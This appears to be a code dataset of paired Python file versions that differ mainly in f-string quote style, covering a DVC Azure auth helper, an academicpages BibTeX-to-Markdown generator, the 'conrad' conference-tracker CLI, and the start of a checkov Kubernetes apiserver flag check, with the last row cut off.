]:
if all(login_info.get(key) is not None for key in required_keys):
break
else:
login_method = None
self.login_method = login_method
return login_info
@wrap_prop(threading.Lock())
@cached_property
def fs(self):
from adlfs import AzureBlobFileSystem
from azure.core.exceptions import AzureError
try:
return AzureBlobFileSystem(**self.fs_args)
except (ValueError, AzureError) as e:
raise AzureAuthError(
f"Authentication to Azure Blob Storage via {self.login_method}"
" failed.\nLearn more about configuration settings at"
f" {format_link('https://man.dvc.org/remote/modify')}"
) from e
|
#!/usr/bin/env python
# coding: utf-8
# # Publications markdown generator for academicpages
#
# Takes a set of bibtex of publications and converts them for use with [academicpages.github.io](academicpages.github.io). This is an interactive Jupyter notebook ([see more info here](http://jupyter-notebook-beginner-guide.readthedocs.io/en/latest/what_is_jupyter.html)).
#
# The core python code is also in `pubsFromBibs.py`.
# Run either from the `markdown_generator` folder after replacing updating the publist dictionary with:
# * bib file names
# * specific venue keys based on your bib file preferences
# * any specific pre-text for specific files
# * Collection Name (future feature)
#
# TODO: Make this work with other databases of citations,
# TODO: Merge this with the existing TSV parsing solution
from pybtex.database.input import bibtex
import pybtex.database.input.bibtex
from time import strptime
import string
import html
import os
import re
#todo: incorporate different collection types rather than a catch all publications, requires other changes to template
publist = {
# "proceeding": {
# "file" : "proceedings.bib",
# "venuekey": "booktitle",
# "venue-pretext": "In the proceedings of ",
# "collection" : {"name":"publications",
# "permalink":"/publication/"}
#
# },
"journal":{
"file": "pubs.bib",
"venuekey" : "journal",
"venue-pretext" : "",
"collection" : {"name":"publications",
"permalink":"/publication/"}
}
}
html_escape_table = {
"&": "&",
'"': """,
"'": "'"
}
def html_escape(text):
"""Produce entities within text."""
return "".join(html_escape_table.get(c,c) for c in text)
for pubsource in publist:
parser = bibtex.Parser()
bibdata = parser.parse_file(publist[pubsource]["file"])
#loop through the individual references in a given bibtex file
for bib_id in bibdata.entries:
#reset default date
pub_year = "1900"
pub_month = "01"
pub_day = "01"
b = bibdata.entries[bib_id].fields
try:
pub_year = f'{b['year']}'
#todo: this hack for month and day needs some cleanup
if "month" in b.keys():
if(len(b["month"])<3):
pub_month = "0"+b["month"]
pub_month = pub_month[-2:]
elif(b["month"] not in range(12)):
tmnth = strptime(b["month"][:3],'%b').tm_mon
pub_month = "{:02d}".format(tmnth)
else:
pub_month = str(b["month"])
if "day" in b.keys():
pub_day = str(b["day"])
pub_date = pub_year+"-"+pub_month+"-"+pub_day
#strip out {} as needed (some bibtex entries that maintain formatting)
clean_title = b["title"].replace("{", "").replace("}","").replace("\\","").replace(" ","-")
url_slug = re.sub("\\[.*\\]|[^a-zA-Z0-9_-]", "", clean_title)
url_slug = url_slug.replace("--","-")
md_filename = (str(pub_date) + "-" + url_slug + ".md").replace("--","-")
html_filename = (str(pub_date) + "-" + url_slug).replace("--","-")
#Build Citation from text
citation = ""
#citation authors - todo - add highlighting for primary author?
for author in bibdata.entries[bib_id].persons["author"]:
#citation = citation+" "+author.first_names[0]+" "+author.last_names[0]+", "
citation = citation+" "+str(author)+", "
#citation title
citation = citation + "\"" + html_escape(b["title"].replace("{", "").replace("}","").replace("\\","")) + ".\""
#add venue logic depending on citation type
venue = publist[pubsource]["venue-pretext"]+b[publist[pubsource]["venuekey"]].replace("{", "").replace("}","").replace("\\","")
citation = citation + " " + html_escape(venue)
citation = citation + ", " + pub_year + "."
## YAML variables
md = "---\ntitle: \"" + html_escape(b["title"].replace("{", "").replace("}","").replace("\\","")) + '"\n'
md += """collection: """ + publist[pubsource]["collection"]["name"]
md += """\npermalink: """ + publist[pubsource]["collection"]["permalink"] + html_filename
note = False
if "note" in b.keys():
if len(str(b["note"])) > 5:
md += "\nexcerpt: '" + html_escape(b["note"]) + "'"
note = True
md += "\ndate: " + str(pub_date)
md += "\nvenue: '" + html_escape(venue) + "'"
url = False
if "url" in b.keys():
if len(str(b["url"])) > 5:
md += "\npaperurl: '" + b["url"] + "'"
url = True
md += "\ncitation: '" + html_escape(citation) + "'"
md += "\n---"
## Markdown description for individual page
if note:
md += "\n" + html_escape(b["note"]) + "\n"
if url:
md += "\n[Access paper here](" + b["url"] + "){:target=\"_blank\"}\n"
else:
md += "\nUse [Google Scholar](https://scholar.google.com/scholar?q="+html.escape(clean_title.replace("-","+"))+"){:target=\"_blank\"} for full citation"
md_filename = os.path.basename(md_filename)
with open("../_publications/" + md_filename, 'w') as f:
f.write(md)
print(f'SUCESSFULLY PARSED {bib_id}: \"', b["title"][:60],"..."*(len(b['title'])>60),"\"")
# field may not exist for a reference
except KeyError as e:
print(f'WARNING Missing Expected Field {e} from entry {bib_id}: \"', b["title"][:30],"..."*(len(b['title'])>30),"\"")
continue
| #!/usr/bin/env python
# coding: utf-8
# # Publications markdown generator for academicpages
#
# Takes a set of bibtex of publications and converts them for use with [academicpages.github.io](academicpages.github.io). This is an interactive Jupyter notebook ([see more info here](http://jupyter-notebook-beginner-guide.readthedocs.io/en/latest/what_is_jupyter.html)).
#
# The core python code is also in `pubsFromBibs.py`.
# Run either from the `markdown_generator` folder after replacing updating the publist dictionary with:
# * bib file names
# * specific venue keys based on your bib file preferences
# * any specific pre-text for specific files
# * Collection Name (future feature)
#
# TODO: Make this work with other databases of citations,
# TODO: Merge this with the existing TSV parsing solution
from pybtex.database.input import bibtex
import pybtex.database.input.bibtex
from time import strptime
import string
import html
import os
import re
#todo: incorporate different collection types rather than a catch all publications, requires other changes to template
publist = {
# "proceeding": {
# "file" : "proceedings.bib",
# "venuekey": "booktitle",
# "venue-pretext": "In the proceedings of ",
# "collection" : {"name":"publications",
# "permalink":"/publication/"}
#
# },
"journal":{
"file": "pubs.bib",
"venuekey" : "journal",
"venue-pretext" : "",
"collection" : {"name":"publications",
"permalink":"/publication/"}
}
}
html_escape_table = {
"&": "&",
'"': """,
"'": "'"
}
def html_escape(text):
"""Produce entities within text."""
return "".join(html_escape_table.get(c,c) for c in text)
for pubsource in publist:
parser = bibtex.Parser()
bibdata = parser.parse_file(publist[pubsource]["file"])
#loop through the individual references in a given bibtex file
for bib_id in bibdata.entries:
#reset default date
pub_year = "1900"
pub_month = "01"
pub_day = "01"
b = bibdata.entries[bib_id].fields
try:
pub_year = f'{b["year"]}'
#todo: this hack for month and day needs some cleanup
if "month" in b.keys():
if(len(b["month"])<3):
pub_month = "0"+b["month"]
pub_month = pub_month[-2:]
elif(b["month"] not in range(12)):
tmnth = strptime(b["month"][:3],'%b').tm_mon
pub_month = "{:02d}".format(tmnth)
else:
pub_month = str(b["month"])
if "day" in b.keys():
pub_day = str(b["day"])
pub_date = pub_year+"-"+pub_month+"-"+pub_day
#strip out {} as needed (some bibtex entries that maintain formatting)
clean_title = b["title"].replace("{", "").replace("}","").replace("\\","").replace(" ","-")
url_slug = re.sub("\\[.*\\]|[^a-zA-Z0-9_-]", "", clean_title)
url_slug = url_slug.replace("--","-")
md_filename = (str(pub_date) + "-" + url_slug + ".md").replace("--","-")
html_filename = (str(pub_date) + "-" + url_slug).replace("--","-")
#Build Citation from text
citation = ""
#citation authors - todo - add highlighting for primary author?
for author in bibdata.entries[bib_id].persons["author"]:
#citation = citation+" "+author.first_names[0]+" "+author.last_names[0]+", "
citation = citation+" "+str(author)+", "
#citation title
citation = citation + "\"" + html_escape(b["title"].replace("{", "").replace("}","").replace("\\","")) + ".\""
#add venue logic depending on citation type
venue = publist[pubsource]["venue-pretext"]+b[publist[pubsource]["venuekey"]].replace("{", "").replace("}","").replace("\\","")
citation = citation + " " + html_escape(venue)
citation = citation + ", " + pub_year + "."
## YAML variables
md = "---\ntitle: \"" + html_escape(b["title"].replace("{", "").replace("}","").replace("\\","")) + '"\n'
md += """collection: """ + publist[pubsource]["collection"]["name"]
md += """\npermalink: """ + publist[pubsource]["collection"]["permalink"] + html_filename
note = False
if "note" in b.keys():
if len(str(b["note"])) > 5:
md += "\nexcerpt: '" + html_escape(b["note"]) + "'"
note = True
md += "\ndate: " + str(pub_date)
md += "\nvenue: '" + html_escape(venue) + "'"
url = False
if "url" in b.keys():
if len(str(b["url"])) > 5:
md += "\npaperurl: '" + b["url"] + "'"
url = True
md += "\ncitation: '" + html_escape(citation) + "'"
md += "\n---"
## Markdown description for individual page
if note:
md += "\n" + html_escape(b["note"]) + "\n"
if url:
md += "\n[Access paper here](" + b["url"] + "){:target=\"_blank\"}\n"
else:
md += "\nUse [Google Scholar](https://scholar.google.com/scholar?q="+html.escape(clean_title.replace("-","+"))+"){:target=\"_blank\"} for full citation"
md_filename = os.path.basename(md_filename)
with open("../_publications/" + md_filename, 'w') as f:
f.write(md)
print(f'SUCESSFULLY PARSED {bib_id}: \"', b["title"][:60],"..."*(len(b['title'])>60),"\"")
# field may not exist for a reference
except KeyError as e:
print(f'WARNING Missing Expected Field {e} from entry {bib_id}: \"', b["title"][:30],"..."*(len(b['title'])>30),"\"")
continue
|
# -*- coding: utf-8 -*-
import os
import re
import json
import hashlib
import datetime as dt
import click
import requests
import sqlalchemy
import textdistance
from colorama import Fore, Style
from cli_helpers import tabular_output
from . import __version__, CONRAD_HOME
from .db import engine, Session
from .models import Base, Event, Reminder
from .utils import initialize_database, validate
def set_default_pager():
os_environ_pager = os.environ.get("PAGER")
if os_environ_pager == "less":
os.environ["LESS"] = "-SRXF"
def get_events():
click.echo("Fetching latest events!")
response = requests.get(
"https://raw.githubusercontent.com/vinayak-mehta/conrad/master/data/events.json"
)
with open(os.path.join(CONRAD_HOME, "events.json"), "w") as f:
f.write(json.dumps(response.json()))
def rebuild_events_table():
with open(os.path.join(CONRAD_HOME, "events.json"), "r") as f:
events = json.load(f)
session = Session()
for event in events:
event_id = hashlib.md5(
(event["name"] + event["start_date"]).encode("utf-8")
).hexdigest()
e = Event(
id=event_id[:6],
name=event["name"],
url=event["url"],
city=event["city"],
state=event["state"],
country=event["country"],
cfp_open=event["cfp_open"],
cfp_end_date=dt.datetime.strptime(event["cfp_end_date"], "%Y-%m-%d"),
start_date=dt.datetime.strptime(event["start_date"], "%Y-%m-%d"),
end_date=dt.datetime.strptime(event["end_date"], "%Y-%m-%d"),
source=event["source"],
tags=json.dumps(event["tags"]),
kind=event["kind"],
by=event["by"],
)
session.add(e)
session.commit()
session.close()
def initialize_conrad():
conrad_update = os.path.join(CONRAD_HOME, ".conrad-update")
if not os.path.exists(conrad_update):
with open(conrad_update, "w") as f:
f.write(dt.datetime.now().strftime("%Y-%m-%dT%H:%M:%S"))
if not os.path.exists(os.path.join(CONRAD_HOME, "conrad.db")):
get_events()
initialize_database()
rebuild_events_table()
def refresh_conrad():
get_events()
if not os.path.exists(os.path.join(CONRAD_HOME, "conrad.db")):
initialize_database()
else:
Event.__table__.drop(engine)
Base.metadata.tables["event"].create(bind=engine)
rebuild_events_table()
def update_conrad_update():
conrad_update = os.path.join(CONRAD_HOME, ".conrad-update")
with open(conrad_update, "w") as f:
f.write(dt.datetime.now().strftime("%Y-%m-%dT%H:%M:%S"))
def clean_old_events():
session = Session()
now = dt.datetime.now()
reminders = list(
session.query(Event, Reminder)
.filter(Event.id == Reminder.id, Event.cfp_end_date < now)
.all()
)
for r, __ in reminders:
session.query(Reminder).filter(Reminder.id == r.id).delete()
events = list(session.query(Event).filter(Event.end_date < now).all())
for e in events:
session.query(Event).filter(Event.id == e.id).delete()
session.commit()
session.close()
def auto_refresh():
conrad_update = os.path.join(CONRAD_HOME, ".conrad-update")
if not os.path.exists(conrad_update):
update_conrad_update()
with open(conrad_update, "r") as f:
last_update = dt.datetime.strptime(f.read().strip(), "%Y-%m-%dT%H:%M:%S")
if (dt.datetime.now() - last_update) > dt.timedelta(days=1):
refresh_conrad()
clean_old_events()
update_conrad_update()
# https://stackoverflow.com/a/50889894
def make_exclude_hook_command(callback):
"""for any command that is not decorated, call the callback"""
hook_attr_name = "hook_" + callback.__name__
class HookGroup(click.Group):
"""group to hook context invoke to see if the callback is needed"""
def group(self, *args, **kwargs):
"""new group decorator to make sure sub groups are also hooked"""
if "cls" not in kwargs:
kwargs["cls"] = type(self)
return super(HookGroup, self).group(*args, **kwargs)
def command(self, *args, **kwargs):
"""new command decorator to monkey patch command invoke"""
cmd = super(HookGroup, self).command(*args, **kwargs)
def hook_command_decorate(f):
# decorate the command
ret = cmd(f)
# grab the original command invoke
orig_invoke = ret.invoke
def invoke(ctx):
"""call the call back right before command invoke"""
parent = ctx.parent
sub_cmd = (
parent and parent.command.commands[parent.invoked_subcommand]
)
if (
not sub_cmd
or not isinstance(sub_cmd, click.Group)
and getattr(sub_cmd, hook_attr_name, True)
):
# invoke the callback
callback()
return orig_invoke(ctx)
# hook our command invoke to command and return cmd
ret.invoke = invoke
return ret
# return hooked command decorator
return hook_command_decorate
def decorator(func=None):
if func is None:
# if called other than as decorator, return group class
return HookGroup
setattr(func, hook_attr_name, False)
return decorator
bypass_auto_refresh = make_exclude_hook_command(auto_refresh)
@click.group(name="conrad", cls=bypass_auto_refresh())
@click.version_option(version=__version__)
@click.pass_context
def cli(ctx, *args, **kwargs):
"""conrad: Track conferences and meetups on your terminal!"""
set_default_pager()
@bypass_auto_refresh
@cli.command("refresh", short_help="Refresh event database.")
@click.confirmation_option(prompt="Would you like conrad to look for new events?")
@click.pass_context
def _refresh(ctx, *args, **kwargs):
# TODO: print("10 new events found!")
refresh_conrad()
click.echo("All done! ✨ 🍰 ✨")
click.echo("Event database updated.")
@cli.command("show", short_help="Show all saved events.")
@click.option(
"--cfp",
"-c",
is_flag=True,
help="Show only events which have an open CFP (call for proposals).",
)
@click.option(
"--tag", "-t", default="", help="Look at conferences with a specific tag."
)
@click.option(
"--name",
"-n",
default="",
help="Look at conferences containing a specific word in their name.",
)
@click.option(
"--location",
"-l",
default="",
help="Look at conferences in a specific city, state or country.",
)
@click.option(
"--date",
"-d",
default=[],
multiple=True,
help='Look at conferences based on when they\'re happening. For example: conrad show --date ">= 2019-10-01" --date "<= 2020-01-01".',
)
@click.pass_context
def _show(ctx, *args, **kwargs):
# TODO: conrad show --new
initialize_conrad()
cfp = kwargs["cfp"]
tag = kwargs["tag"]
name = kwargs["name"]
date = list(kwargs["date"])
location = kwargs["location"]
filters = []
if cfp:
filters.append(Event.cfp_open.is_(cfp))
if tag:
filters.append(Event.tags.contains(tag))
if name:
filters.append(Event.name.ilike(f"%{name}%"))
if date:
date_filters = []
for d in date:
cmp, date = d.split(" ")
if not (">" in cmp or "<" in cmp):
raise click.UsageError("Wrong comparison operator!")
try:
__ = dt.datetime.strptime(date, "%Y-%m-%d")
except ValueError:
raise click.UsageError("Wrong date format!")
if ">" in cmp:
date_filters.append(Event.start_date >= date)
elif "<" in cmp:
date_filters.append(Event.start_date <= date)
filters.append(sqlalchemy.and_(*date_filters))
if location:
filters.append(
sqlalchemy.or_(
Event.city.ilike(f"%{location}%"),
Event.state.ilike(f"%{location}%"),
Event.country.ilike(f"%{location}%"),
)
)
session = Session()
events = list(
session.query(Event).filter(*filters).order_by(Event.start_date).all()
)
if len(events) > 0:
header = [
"id",
"Name",
"Website",
"City",
"State",
"Country",
"Start Date",
"End Date",
]
events_output = []
for event in events:
events_output.append(
[
event.id,
event.name,
event.url,
event.city,
event.state,
event.country,
event.start_date.strftime("%Y-%m-%d"),
event.end_date.strftime("%Y-%m-%d"),
]
)
session.close()
formatted = tabular_output.format_output(
events_output, header, format_name="ascii"
)
click.echo_via_pager("\n".join(formatted))
else:
click.echo("No events found!")
@cli.command("remind", short_help="Set and display reminders.")
@click.option("--id", "-i", default=None, help="Conference identifier.")
@click.pass_context
def _remind(ctx, *args, **kwargs):
initialize_conrad()
_id = kwargs["id"]
if _id is None:
session = Session()
reminders = list(
session.query(Event, Reminder)
.filter(Event.id == Reminder.id)
.order_by(Event.start_date)
.all()
)
if len(reminders) > 0:
header = ["id", "Name", "Start Date", "Days Left"]
reminders_output = []
for reminder, __ in reminders:
start = dt.datetime.now()
cfp_days_left = (reminder.cfp_end_date - start).days
event_days_left = (reminder.start_date - start).days
if reminder.cfp_open and cfp_days_left >= 0:
days_left = cfp_days_left
days_left_output = f"{days_left} days left to cfp deadline!"
elif event_days_left >= 0:
days_left = event_days_left
days_left_output = f"{days_left} days left!"
else:
days_left = -1
days_left_output = "Event ended."
if days_left >= 30:
style = f"{Fore.GREEN}{Style.BRIGHT}"
elif 30 > days_left >= 10:
style = f"{Fore.YELLOW}{Style.BRIGHT}"
elif 10 > days_left >= 0:
style = f"{Fore.RED}{Style.BRIGHT}"
else:
style = ""
days_left_output = (
f"{style}{days_left_output}{Style.RESET_ALL}"
)
reminders_output.append(
[
reminder.id,
reminder.name,
reminder.start_date.strftime("%Y-%m-%d"),
days_left_output,
]
)
session.close()
formatted = tabular_output.format_output(
reminders_output, header, format_name="ascii"
)
click.echo("\n".join(formatted))
else:
click.echo("No reminders found!")
else:
try:
session = Session()
if session.query(Event).filter(Event.id == _id).first() is None:
click.echo("Event not found!")
else:
reminder = Reminder(id=_id)
session.add(reminder)
session.commit()
session.close()
click.echo("Reminder set!")
except sqlalchemy.exc.IntegrityError:
session.rollback()
if click.confirm("Do you want to remove this reminder?"):
session = Session()
session.query(Reminder).filter(Reminder.id == _id).delete()
session.commit()
session.close()
click.echo("Reminder removed!")
@bypass_auto_refresh
@cli.command("import", short_help="Import new events into conrad.")
@click.option("--file", "-f", default=None, help="JSON file to import.")
@click.pass_context
def _import(ctx, *args, **kwargs):
file = kwargs["file"]
EVENTS_PATH = os.path.join(os.getcwd(), "data", "events.json")
if file is None:
raise click.UsageError("No file provided!")
if not os.path.exists(file):
raise click.UsageError("File does not exist!")
with open(file, "r") as f:
input_events = json.load(f)
failures = validate(input_events)
if len(failures) > 0:
raise click.UsageError(
"The following validations failed!\n{}".format(
"".join(
list(map(lambda x: "- " + x + "\n", failures[:-1]))
+ list(map(lambda x: "- " + x, failures[-1:]))
)
)
)
with open(EVENTS_PATH, "r") as f:
old_events = json.load(f)
now = dt.datetime.now()
events = []
for e in old_events:
event_end_date = dt.datetime.strptime(e["end_date"], "%Y-%m-%d")
if event_end_date < now:
continue
events.append(e)
removed = len(old_events) - len(events)
s = "s" if removed > 1 else ""
click.echo(f"Removed {removed} old event{s}!")
# TODO: update cfp to false when cfp_end_date < now
pattern = "[0-9]"
new_events = []
for ie in input_events:
match = False
for e in events:
input_event_name = ie["name"].replace(" ", "").lower()
input_event_name = re.sub(pattern, "", input_event_name)
event_name = e["name"].replace(" ", "").lower()
event_name = re.sub(pattern, "", event_name)
similarity = textdistance.levenshtein.normalized_similarity(
input_event_name, event_name
)
if similarity > 0.9:
click.echo(f"Updating {e["name"]}")
e.update(ie)
match = True
if not match:
click.echo(f"Adding {ie["name"]}")
new_events.append(ie)
events.extend(new_events)
s = "s" if len(new_events) > 1 else ""
click.echo(f"Added {len(new_events)} new event{s}!")
with open(EVENTS_PATH, "w") as f:
f.write(json.dumps(events, indent=4, sort_keys=True))
| # -*- coding: utf-8 -*-
import os
import re
import json
import hashlib
import datetime as dt
import click
import requests
import sqlalchemy
import textdistance
from colorama import Fore, Style
from cli_helpers import tabular_output
from . import __version__, CONRAD_HOME
from .db import engine, Session
from .models import Base, Event, Reminder
from .utils import initialize_database, validate
def set_default_pager():
os_environ_pager = os.environ.get("PAGER")
if os_environ_pager == "less":
os.environ["LESS"] = "-SRXF"
def get_events():
click.echo("Fetching latest events!")
response = requests.get(
"https://raw.githubusercontent.com/vinayak-mehta/conrad/master/data/events.json"
)
with open(os.path.join(CONRAD_HOME, "events.json"), "w") as f:
f.write(json.dumps(response.json()))
def rebuild_events_table():
with open(os.path.join(CONRAD_HOME, "events.json"), "r") as f:
events = json.load(f)
session = Session()
for event in events:
event_id = hashlib.md5(
(event["name"] + event["start_date"]).encode("utf-8")
).hexdigest()
e = Event(
id=event_id[:6],
name=event["name"],
url=event["url"],
city=event["city"],
state=event["state"],
country=event["country"],
cfp_open=event["cfp_open"],
cfp_end_date=dt.datetime.strptime(event["cfp_end_date"], "%Y-%m-%d"),
start_date=dt.datetime.strptime(event["start_date"], "%Y-%m-%d"),
end_date=dt.datetime.strptime(event["end_date"], "%Y-%m-%d"),
source=event["source"],
tags=json.dumps(event["tags"]),
kind=event["kind"],
by=event["by"],
)
session.add(e)
session.commit()
session.close()
def initialize_conrad():
conrad_update = os.path.join(CONRAD_HOME, ".conrad-update")
if not os.path.exists(conrad_update):
with open(conrad_update, "w") as f:
f.write(dt.datetime.now().strftime("%Y-%m-%dT%H:%M:%S"))
if not os.path.exists(os.path.join(CONRAD_HOME, "conrad.db")):
get_events()
initialize_database()
rebuild_events_table()
def refresh_conrad():
get_events()
if not os.path.exists(os.path.join(CONRAD_HOME, "conrad.db")):
initialize_database()
else:
Event.__table__.drop(engine)
Base.metadata.tables["event"].create(bind=engine)
rebuild_events_table()
def update_conrad_update():
conrad_update = os.path.join(CONRAD_HOME, ".conrad-update")
with open(conrad_update, "w") as f:
f.write(dt.datetime.now().strftime("%Y-%m-%dT%H:%M:%S"))
def clean_old_events():
session = Session()
now = dt.datetime.now()
reminders = list(
session.query(Event, Reminder)
.filter(Event.id == Reminder.id, Event.cfp_end_date < now)
.all()
)
for r, __ in reminders:
session.query(Reminder).filter(Reminder.id == r.id).delete()
events = list(session.query(Event).filter(Event.end_date < now).all())
for e in events:
session.query(Event).filter(Event.id == e.id).delete()
session.commit()
session.close()
def auto_refresh():
conrad_update = os.path.join(CONRAD_HOME, ".conrad-update")
if not os.path.exists(conrad_update):
update_conrad_update()
with open(conrad_update, "r") as f:
last_update = dt.datetime.strptime(f.read().strip(), "%Y-%m-%dT%H:%M:%S")
if (dt.datetime.now() - last_update) > dt.timedelta(days=1):
refresh_conrad()
clean_old_events()
update_conrad_update()
# https://stackoverflow.com/a/50889894
def make_exclude_hook_command(callback):
"""for any command that is not decorated, call the callback"""
hook_attr_name = "hook_" + callback.__name__
class HookGroup(click.Group):
"""group to hook context invoke to see if the callback is needed"""
def group(self, *args, **kwargs):
"""new group decorator to make sure sub groups are also hooked"""
if "cls" not in kwargs:
kwargs["cls"] = type(self)
return super(HookGroup, self).group(*args, **kwargs)
def command(self, *args, **kwargs):
"""new command decorator to monkey patch command invoke"""
cmd = super(HookGroup, self).command(*args, **kwargs)
def hook_command_decorate(f):
# decorate the command
ret = cmd(f)
# grab the original command invoke
orig_invoke = ret.invoke
def invoke(ctx):
"""call the call back right before command invoke"""
parent = ctx.parent
sub_cmd = (
parent and parent.command.commands[parent.invoked_subcommand]
)
if (
not sub_cmd
or not isinstance(sub_cmd, click.Group)
and getattr(sub_cmd, hook_attr_name, True)
):
# invoke the callback
callback()
return orig_invoke(ctx)
# hook our command invoke to command and return cmd
ret.invoke = invoke
return ret
# return hooked command decorator
return hook_command_decorate
def decorator(func=None):
if func is None:
# if called other than as decorator, return group class
return HookGroup
setattr(func, hook_attr_name, False)
return decorator
bypass_auto_refresh = make_exclude_hook_command(auto_refresh)
@click.group(name="conrad", cls=bypass_auto_refresh())
@click.version_option(version=__version__)
@click.pass_context
def cli(ctx, *args, **kwargs):
"""conrad: Track conferences and meetups on your terminal!"""
set_default_pager()
@bypass_auto_refresh
@cli.command("refresh", short_help="Refresh event database.")
@click.confirmation_option(prompt="Would you like conrad to look for new events?")
@click.pass_context
def _refresh(ctx, *args, **kwargs):
# TODO: print("10 new events found!")
refresh_conrad()
click.echo("All done! ✨ 🍰 ✨")
click.echo("Event database updated.")
@cli.command("show", short_help="Show all saved events.")
@click.option(
"--cfp",
"-c",
is_flag=True,
help="Show only events which have an open CFP (call for proposals).",
)
@click.option(
"--tag", "-t", default="", help="Look at conferences with a specific tag."
)
@click.option(
"--name",
"-n",
default="",
help="Look at conferences containing a specific word in their name.",
)
@click.option(
"--location",
"-l",
default="",
help="Look at conferences in a specific city, state or country.",
)
@click.option(
"--date",
"-d",
default=[],
multiple=True,
help='Look at conferences based on when they\'re happening. For example: conrad show --date ">= 2019-10-01" --date "<= 2020-01-01".',
)
@click.pass_context
def _show(ctx, *args, **kwargs):
# TODO: conrad show --new
initialize_conrad()
cfp = kwargs["cfp"]
tag = kwargs["tag"]
name = kwargs["name"]
date = list(kwargs["date"])
location = kwargs["location"]
filters = []
if cfp:
filters.append(Event.cfp_open.is_(cfp))
if tag:
filters.append(Event.tags.contains(tag))
if name:
filters.append(Event.name.ilike(f"%{name}%"))
if date:
date_filters = []
for d in date:
cmp, date = d.split(" ")
if not (">" in cmp or "<" in cmp):
raise click.UsageError("Wrong comparison operator!")
try:
__ = dt.datetime.strptime(date, "%Y-%m-%d")
except ValueError:
raise click.UsageError("Wrong date format!")
if ">" in cmp:
date_filters.append(Event.start_date >= date)
elif "<" in cmp:
date_filters.append(Event.start_date <= date)
filters.append(sqlalchemy.and_(*date_filters))
if location:
filters.append(
sqlalchemy.or_(
Event.city.ilike(f"%{location}%"),
Event.state.ilike(f"%{location}%"),
Event.country.ilike(f"%{location}%"),
)
)
session = Session()
events = list(
session.query(Event).filter(*filters).order_by(Event.start_date).all()
)
if len(events) > 0:
header = [
"id",
"Name",
"Website",
"City",
"State",
"Country",
"Start Date",
"End Date",
]
events_output = []
for event in events:
events_output.append(
[
event.id,
event.name,
event.url,
event.city,
event.state,
event.country,
event.start_date.strftime("%Y-%m-%d"),
event.end_date.strftime("%Y-%m-%d"),
]
)
session.close()
formatted = tabular_output.format_output(
events_output, header, format_name="ascii"
)
click.echo_via_pager("\n".join(formatted))
else:
click.echo("No events found!")
@cli.command("remind", short_help="Set and display reminders.")
@click.option("--id", "-i", default=None, help="Conference identifier.")
@click.pass_context
def _remind(ctx, *args, **kwargs):
initialize_conrad()
_id = kwargs["id"]
if _id is None:
session = Session()
reminders = list(
session.query(Event, Reminder)
.filter(Event.id == Reminder.id)
.order_by(Event.start_date)
.all()
)
if len(reminders) > 0:
header = ["id", "Name", "Start Date", "Days Left"]
reminders_output = []
for reminder, __ in reminders:
start = dt.datetime.now()
cfp_days_left = (reminder.cfp_end_date - start).days
event_days_left = (reminder.start_date - start).days
if reminder.cfp_open and cfp_days_left >= 0:
days_left = cfp_days_left
days_left_output = f"{days_left} days left to cfp deadline!"
elif event_days_left >= 0:
days_left = event_days_left
days_left_output = f"{days_left} days left!"
else:
days_left = -1
days_left_output = "Event ended."
if days_left >= 30:
style = f"{Fore.GREEN}{Style.BRIGHT}"
elif 30 > days_left >= 10:
style = f"{Fore.YELLOW}{Style.BRIGHT}"
elif 10 > days_left >= 0:
style = f"{Fore.RED}{Style.BRIGHT}"
else:
style = ""
days_left_output = (
f"{style}{days_left_output}{Style.RESET_ALL}"
)
reminders_output.append(
[
reminder.id,
reminder.name,
reminder.start_date.strftime("%Y-%m-%d"),
days_left_output,
]
)
session.close()
formatted = tabular_output.format_output(
reminders_output, header, format_name="ascii"
)
click.echo("\n".join(formatted))
else:
click.echo("No reminders found!")
else:
try:
session = Session()
if session.query(Event).filter(Event.id == _id).first() is None:
click.echo("Event not found!")
else:
reminder = Reminder(id=_id)
session.add(reminder)
session.commit()
session.close()
click.echo("Reminder set!")
except sqlalchemy.exc.IntegrityError:
session.rollback()
if click.confirm("Do you want to remove this reminder?"):
session = Session()
session.query(Reminder).filter(Reminder.id == _id).delete()
session.commit()
session.close()
click.echo("Reminder removed!")
@bypass_auto_refresh
@cli.command("import", short_help="Import new events into conrad.")
@click.option("--file", "-f", default=None, help="JSON file to import.")
@click.pass_context
def _import(ctx, *args, **kwargs):
file = kwargs["file"]
EVENTS_PATH = os.path.join(os.getcwd(), "data", "events.json")
if file is None:
raise click.UsageError("No file provided!")
if not os.path.exists(file):
raise click.UsageError("File does not exist!")
with open(file, "r") as f:
input_events = json.load(f)
failures = validate(input_events)
if len(failures) > 0:
raise click.UsageError(
"The following validations failed!\n{}".format(
"".join(
list(map(lambda x: "- " + x + "\n", failures[:-1]))
+ list(map(lambda x: "- " + x, failures[-1:]))
)
)
)
with open(EVENTS_PATH, "r") as f:
old_events = json.load(f)
now = dt.datetime.now()
events = []
for e in old_events:
event_end_date = dt.datetime.strptime(e["end_date"], "%Y-%m-%d")
if event_end_date < now:
continue
events.append(e)
removed = len(old_events) - len(events)
s = "s" if removed > 1 else ""
click.echo(f"Removed {removed} old event{s}!")
# TODO: update cfp to false when cfp_end_date < now
pattern = "[0-9]"
new_events = []
for ie in input_events:
match = False
for e in events:
input_event_name = ie["name"].replace(" ", "").lower()
input_event_name = re.sub(pattern, "", input_event_name)
event_name = e["name"].replace(" ", "").lower()
event_name = re.sub(pattern, "", event_name)
similarity = textdistance.levenshtein.normalized_similarity(
input_event_name, event_name
)
if similarity > 0.9:
click.echo(f"Updating {e['name']}")
e.update(ie)
match = True
if not match:
click.echo(f"Adding {ie['name']}")
new_events.append(ie)
events.extend(new_events)
s = "s" if len(new_events) > 1 else ""
click.echo(f"Added {len(new_events)} new event{s}!")
with open(EVENTS_PATH, "w") as f:
f.write(json.dumps(events, indent=4, sort_keys=True))
|
from checkov.common.models.enums import CheckCategories, CheckResult
from checkov.kubernetes.base_spec_check import BaseK8Check
class ApiServerServiceAccountLookup(BaseK8Check):
def __init__(self):
id = "CKV_K8S_96"
name = "Ensure that the --service-account-lookup argument is set to true"
categories = [CheckCategories.KUBERNETES]
supported_entities = ['containers']
super().__init__(name=name, id=id, categories=categories, supported_entities=supported_entities)
def get_resource_id(self, conf):
return f'{conf['parent']} - {conf['name']}'
def scan_spec_conf(self, conf):
if conf.get("command") is not None:
if "kube-apiserver" in conf["command"]:
if "--service-account-lookup=false" in conf["command"] or "--service-account-lookup=true" not in conf["command"]:
return CheckResult.FAILED
return CheckResult.PASSED
check = ApiServerServiceAccountLookup() | from checkov.common.models.enums import CheckCategories, CheckResult
from checkov.kubernetes.base_spec_check import BaseK8Check
class ApiServerServiceAccountLookup(BaseK8Check):
def __init__(self):
id = "CKV_K8S_96"
